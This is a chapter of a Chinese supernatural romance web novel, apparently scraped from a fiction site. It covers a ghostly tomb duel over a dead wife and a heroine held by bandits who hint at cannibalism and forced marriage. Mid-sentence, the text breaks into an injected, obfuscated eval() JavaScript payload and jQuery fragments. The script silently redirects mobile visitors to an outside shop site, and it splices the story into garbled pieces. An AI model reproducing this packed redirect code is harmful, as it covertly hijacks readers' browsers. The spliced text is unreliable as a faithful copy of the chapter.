文趣网 > 其他小说 > 温柔陷阱[人外] > 19. 第 19 章
    古墓。

    女人躺在棺材里。

    面容祥和,皮肤灰白,嘴唇没有一丝血色,如一尊安静的蜡像。

    毫无疑问,她已经死了。肉身却没有腐化的迹象,衣衫干净整洁,遮住心口的破洞。

    一只手向棺材里探去,指甲尖长浓黑。

    一道银光闪过,那只手从小臂处被生生斩断,伴随如瀑的血水落到地上。其间不起眼的戒指被一汪鲜红完全覆盖。

    接着,残留的断臂以肉眼可见的速度生长,直到恢复如初。

    “不许碰她。”一脸煞气的男人自黑暗中出现,嗓音低沉冷硬。

    谢予慈活动手腕,笑眯起眼:“安心。我对死人没兴趣。”

    沈厌怒目而视,眼珠红得几欲滴血。

    “啊,说错了,她已经被你变成怪物了。我猜猜,她最后选择了自我了断,把银器插入心脏?”谢予慈摸摸下巴,脸上露出遗憾的表情,“还以为会更有趣一点呢。”

    亏得他当初刻意编了个谎,让她误以为杀死沈厌就能变回人类,结果,相爱相杀的戏码并未上演。真可惜。

    “是你告诉她的。”沈厌目眦具裂,杀意暴涨,入疾风一般突袭而来。

    谢予慈脚尖一点,向后飞跃,避开攻击,漫不经心道:“既然成为了怪物,难道不应该清楚自己的弱点吗?我只是作为前辈,好心提点而已。”

    沈厌愤怒至极,骤然掠至身前,拳头飞快,如狂风骤雨。

    谢予慈很少攻击,更多时候只是防守躲避,拿扇子挡下拳脚,姿态迅捷优雅,四两拨千斤,像一只玩弄老鼠的猫。

    “我要杀了你!”

    谢予慈勾起嘴角:“你杀不了我,和一般的鬼不同,我没有多余的弱点,你不是知道吗?”

    沈厌曾将谢予慈一剑洞穿。

    他生性不羁,简直是个搅屎棍,百年前弄了个天机阁,散播真假混杂的消息,搅得鬼之间自相残杀,不得安宁,最终引起众怒,被一群同类围剿。

    沈厌就是其中的一员。他以为谢予慈那时死透了。不料,已经被碎尸万段的谢予慈,竟又活了过来。

    原来,他是天生的异类,没有心,只有阳光能将他彻底摧毁。否则,哪怕只剩一块碎肉,仍然可以复活。

    沈厌只是机械地攻击,像在发泄怒火。

    “是我杀了她吗?是我将她变成怪物,无地自容的?你们不是夫妻吗?不能保护好妻子,是做丈夫的无能。”

    沈厌心中刺痛,被他一脚踹到墙上。

    打斗中,山石开裂,烟尘滚滚,上方碎土尘屑落下,即将触及女子的面颊。

    沈厌振臂一挥,无形的气流将棺材盖迅速合上。

    他瞬移至棺材旁,拂去尘土,眉头轻蹙,满是怜爱与悲怆。沈厌披头散发,满身血污,像个乱糟糟的乞丐,他忽然发狂地笑,疯疯癫癫。

    “你真是疯了。”谢予慈居高临下地看他。

    四周石墙之上,布满密密麻麻的血迹,并非偶然,明显是沈厌故意画上的,咒文歪七扭八,谢予慈认不出写的是什么,但能感受到一股十分诡异的气息,违背天道。在阴暗的角落里,则堆满了尸体,胸口洞开,心脏被剜走,空空如也。

    他就是感受到了那股异样的气息,特来警告那些不长眼的东西,离清水镇远一点。原来,是沈厌搞的邪术。

    即使是鬼,也没法复活。

    沈厌抬头,眼中尽是绝望和癫狂:“那你杀了我!”

    显然,他失败了,但又无法下定决心放弃。

    想立刻了断,追随爱人而去,但万一呢?万一再坚持坚持,就能成功复活呢?渺茫的幻想拖着他,不让他死,终日痛苦折磨,游走在崩溃的边缘。

    或许,死在谢予慈手上,反倒解脱。

    “我不会杀你,你现在这副样子,实在让我提不起兴致。”谢予慈转身离开,不愿再浪费时间。

    奇怪,眼前的悲剧并没有让他感到心情愉快。反而,有一丝不易察觉的沉重。

    当然,他绝不会变成下一个“沈厌”。他才没那么蠢。

    他突然很想玉妙青。

    有好好吃饭吗?

    他不在身边,应该睡得不安稳吧。

    思及此,目光变得柔和,温情氤氲。他自己都未察觉。

    .

    玉妙青这边可谓水深火热。

    她交了财险,土匪却并未放过他们,而是绑去了寨子,二话不说关进牢房。

    这里零零散散关着数十人,老的少的都有,衣衫褴褛,神情麻木凄然。

    有人端来些残羹剩饭,大家一拥而上,挤着栅栏抢食起来。

    玉妙青问车夫:“这些土匪把我们关这儿是做什么?”

    大多数人看着都没什么钱,虽然吃不了多少,但总得喂养着,对土匪来说似乎并不划算。

    “还能做什么?人质、口粮。天娘诶,我怎么就这么倒霉,你害惨我了——”车夫捶胸顿足地哀嚎。

    人质她懂。

    “口粮是什么意思。”

    旁边的老奶奶搭话:“哎哟小姑娘,人吃人懂不,前面有人被出去后,就再也没回来,肯定是被吃了。”

    “那您怎么……”玉妙青看她面色平和,习以为常的模样,半信半疑。

    “我一个老婆子,七老八十了,能活一天是一天。后人不会花钱赎我,自然认命。活这么久,什么都见过,土匪吃人没什么可稀奇的。”

    玉妙青脸色难看,一阵恶心,扶着墙干呕。车夫的哀嚎抱怨听进耳朵里格外不真切。

    到了晚上,几个人进来,为首的视线在人堆里扫过,拎出恨不得把头埋土里的玉妙青,将她双手反剪,再次绑住,带了出去。

    其他人噤若寒蝉,以一种兔死狐悲的眼神看她。

    怎么?她刚来就被选上了?年轻肉嫩是吗?

    厅堂正位坐着个男人,三十来岁,身材并不十分魁梧,在土匪堆里竟显得文质彬彬的。眉眼间透着几分历经风云的狠厉,喜怒不形于色。显然,是他们的一把手。

    “大哥,就是她。”旁边站着个膀大腰圆的,长相酷似土拨鼠,正是白天遇到的土匪头子。

    被喊作“大哥”的男人走下来,毫不客气地打量她,像看一件商品。

    “模样是不错。”

    玉妙青闻言心头一跳。

    “就是瘦了点,细胳膊细腿的。”

    “我喜欢瘦的。”“土拨鼠”说。

    “行吧,依你。想来这样子,不难驯服。悠着点,别把人弄折了。”

    “土

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752934|209203||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    拨鼠”嘿嘿一笑,脸上横肉颤动,猥琐又憨气:“弟弟知道。”

    “我叫朱吉,从今天起,你就是我媳妇儿了!”

    “等等等等,”玉妙青知道,对于这种亡命之徒,自然不能讲妇女意志、你情我愿,她急忙说,“我已经嫁人了!”

    “嫁人了?我不在乎,嫁人了正好,证明你是良家女子。”朱吉二话不说,作势要将她扛起来。

    大哥抬手制止,问玉妙青:“哪家?”

    “阳城,谢家。”

    他眉头紧拧,现在得罪朝廷官员还为时尚早。转念想到什么,微微放松,神色变得狐疑:“谢家,据我所知,谢家的老爷、少爷都已娶妻,且并非清水镇人士,又怎会独自来这山沟沟里?”

    “是谢家二少爷。”

    他摇摇头:“没听说过。带下去吧。”

    见此招行不通,玉妙青又说:“我、我家有钱!可以叫人去报信,拿钱赎人。就让和我一起被抓的车夫去吧,他知道我家住哪儿。”

    “我怎么相信,他不会去报官?”

    “我们这么多人质还在这里呢。他是个胆小的,不敢节外生枝。”

    车夫被带来,战战兢兢,面如死灰:“饶命啊,壮士饶命啊!”

    而后知道是要让他下山,去谢家要赎金,又一把鼻涕一把泪地磕头道谢:“谢各位好汉不杀之恩……”

    转头面向玉妙青,双手合十颤抖:“谢菩萨,谢菩萨……”

    朱吉知道到手的鸭子飞了,往他屁股上踹了一脚:“现在就滚,吵着心烦!”

    “他为什么叫你菩萨?”

    玉妙青心中又生一计,抹干净脸:“因为长得像。我在镇上,素来被人当做仙姑,颇具盛名……”

    顾不上自卖自夸的尴尬,现在最要紧的,是让对方觉得留着自己有用,比送给小弟或是杀了煮了有用得多。

    “难道你会什么仙法不成?”

    “仙法不重要。重要的是人心所向。”玉妙青捏紧衣角,手心里满是虚汗,“若壮士胸有大志,我可以造出祥瑞征兆,笼络人心。占据山头,打劫行人,无非求财,若论长远,人力、粮食,都是重中之重。有了人心,这些都不用愁。难道壮士落草为寇,只为偏安一隅,小打小闹,直到被官府剿灭吗?”

    “你胆敢咒我们!”

    玉妙青一抖,颤巍巍跪好。

    “诶,稍安勿躁。”一把手斜他一眼。吩咐手下找几个清水镇的人,来认认,看她所言是否属实。倘若她真被人当做仙姑,未必不可利用。

    来的人,就包括谷宁禾。

    两两相望,尽在不言中。

    谷宁禾果然出事了。土匪窝里缺大夫,自然不肯放她走,也不至于太亏待她。

    但谷宁禾脾气硬,不肯为土匪医治,嘴角仍有一处红肿,看来定是受了些皮肉之苦。

    当着外人的面,她们并未过多交谈。

    确定玉妙青所言非虚,一把手朱总叫人给她收拾了一间空房,暂且安顿下来。

    自然,门口被把守者。就连如厕都有人跟。她插翅难飞。

    一筹莫展之际,黢黑的人影自屋顶悄无声息地落下。是小五。

    他言简意赅:“走。”

    玉妙青眼前一亮:“先救人。”